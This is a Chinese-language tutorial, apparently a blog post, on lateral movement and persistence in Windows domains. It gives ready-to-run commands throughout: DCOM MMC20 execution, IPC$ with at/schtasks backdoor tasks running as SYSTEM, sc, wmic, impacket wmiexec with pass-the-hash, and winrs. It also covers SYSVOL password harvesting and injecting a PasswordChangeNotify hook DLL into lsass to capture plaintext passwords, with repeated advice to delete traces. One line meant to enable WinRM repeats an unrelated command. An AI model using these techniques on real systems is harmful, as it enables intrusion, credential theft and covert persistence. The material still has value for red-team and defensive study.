我们进一步发掘其横向移动的能力
我们知道DCOM具有通过网络与对象进行交互的能力,在我们是管理员的前提下我们可以使用GetTypeFromProgID()与powershell进行DCOM远程交互。
GetTypeFromProgID(“COM”,”远程ip”) 即可指定与哪一个远程IP进行交互。所以我们可以把payload改造成这样,进而可以在其他机器上进行任意命令执行,从而达到横向移动的目的
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,“远程ip”)).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
ipcipc简介
IPC$是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,即能建立链接,达到访问远程计算机的目的。ipc共享连接成功后一般能共享所有共享盘符。(也就是IPC连接后可以远程共享C$,D$等)
利用这个链接不仅可以访问目标机器中的文件,进行上传下载等操作,还能在目标机器上执行部分命令。
net use \\ip\ipc$ "password" /user:username
如果账户和口令正确,就建立好了链接。
建立好链接后就能执行以下命令
dir \\192.168.183.130\c$ 列出C盘
copy C:\Users\douser\Desktop\whoami.txt \\192.168.183.130\c$ 上传文件
tasklist /S 192.168.183.130 /U administrator /P liu78963 列出某IP上的进程信息,/U指定哪个用户执行该命令,/p指定该用户密码
net use \\IP /del /y 删除链接
net use 查看已建立的ipc链接
利用ipc横向移动
atat \\192.168.183.130 17:05:00 cmd.exe /c "<命令>"
at \\192.168.183.130 17:05:00 powershell.exe -c "<命令>"
关于时间的获得,可以使用 net time \\IP 获得。
计划任务执行后需要删除,不留痕迹
at \\192.168.183.130 1 /delete //1为任务的ID
关于此方法我们可以先通过copy上传恶意文件然后通过at来执行它,或者直接通过powershell远程加载上线等
schtasksat命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,取而代之的是schtasks命令。
横向移动的大致思路与at差不多。
在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe,启动权限为system。
schtasks /create /s 192.168.183.130 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问,遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码
schtasks /create /s 192.168.183.130 /u username /p password /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
另外,在我们创建好计划任务后,可以通过下列指令立即让计划任务执行(如果拒绝访问的话就加上/u /p参数)
schtasks /run /s 192.168.183.130 /i /tn backdoor // i:忽略任何限制立即运行任务
计划任务执行后需要清理痕迹
schtasks /delete /s 192.168.183.130 /tn "backdoor" /f
sc
这个命令可以操控服务。
sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建服务,其中binpath可以是某个exe文件的路径,也可以是一段指令。当为路径时,服务启动时会自动执行该exe文件,当为指令时,服务启动时会自动执行该指令
sc \\[host] start [servicename] 启动某个服务
sc \\[host] delete [servicename] #删除服务
wmi
从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。并且wimc执行命令时不会留下日志信息。
通过wmic在远程主机上开启进程
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "command"
wmiexec
通过wmic创建远程进程时,不会有回显,需要通过ipc$链接type,重定向等手段才能看到回显结果,就很不方便,wmicexec的出现就很好的解决了这一痛点。具体原理是通过wmic在135端口进行交互,再把内容通过445端口传回来。
wmiexec普遍来说有三种版本.py,exe,.vbs。可以走socks5协议代入内网,杜绝了bypassav的麻烦。
(exe版本网上似乎很不好找) 这里用python版本,下载链接https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_22, impacket按照网上安装来弄就行了
1.环境linux,我们配置好proxychanis代入内网(略
2.proxychains wmiexec.py 域名/用户名:密码@ip 获得shell
3.也可以进行hash传递 python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP
效果图
winrmwinRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的一部分。是一项允许管理员在系统上远程执行管理任务的服务。通信通过HTTP(5985)或HTTPS SOAP(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。你需要管理员身份才能使用它。
适用版本:适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
我们可以通过如下powershell命令查看机器上的winrm是否正常运行
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
若没开启,你可以在管理员权限下执行以下指令开启
winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami
远程命令执行
winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami
利用组策略
读取脚本中的密码假设域管想通过组策略来修改用户密码,如果他不使用GPP,那么他只有通过GPO配合脚本下发的方式来修改用户密码。
这种脚本可能会长得像这样
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "123QWEQWE!@#"
objUser.SetInfo
保存这个脚本为cpass.vbs,这个脚本的作用就是修改本地管理员账户的密码为
123QWEQWE!@#
然后通过GPO下发此脚本,该脚本就会被保存于SYSVOL文件夹中。
又因为域中任何用户都可以读取SYSVOL文件夹中内容,所以我们指不定就会翻到这种暴露明文密码的脚本。
for /r \\dc/sysvol %i in (*.vbs) do @echo %i
for /r \\dc/sysvol %i in (*.bat) do @echo %i
批量密码
域管可能会用组策略批量修改域中用户密码(特别是本地管理员)。所以拿到一个本地管理员密码后不妨试试密码复用,指不定就有惊喜
域管权限维持Hook PasswordChangeNotify原理:当用户修改密码时会输入明文密码,LSA会调用PasswordChangeNotify 在系统中同步密码。我们HOOK这个函数,改变其行为,就能达到获取用户修改后的密码的明文.
Tool: Powersploit下的Invoke-ReflectivePEInjection.ps1 (用于注入)
https://github.com/PowerShellMafia/PowerSploit
以及 https://github.com/clymb3r/Misc-Windows-Hacking 的HookPasswordChange.dll(需自行编译)
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
执行如上命令,只要修改了用户的密码,修改后的明文密码就会记录在 C:\Windows\Temp\passwords.txt 文件中。
下面我们分析一下原理
当密码改变请求发生时,LSA会调用Password Filters。每一个password filter会先验证新密码的合法性和复杂度,然后LSA会发出请求已更改的信号。
该过程由 password notification DLL 完成。所以我们只需要劫持这个DLL,把它换成我们自定义的DLL即可达到目的。
这种方式一般在Server服务器上利用率较高
通常来说,这个dll文件的在注册表中的路径是 hklm\system\currentcontrolset\control\lsa的 notification packages表项。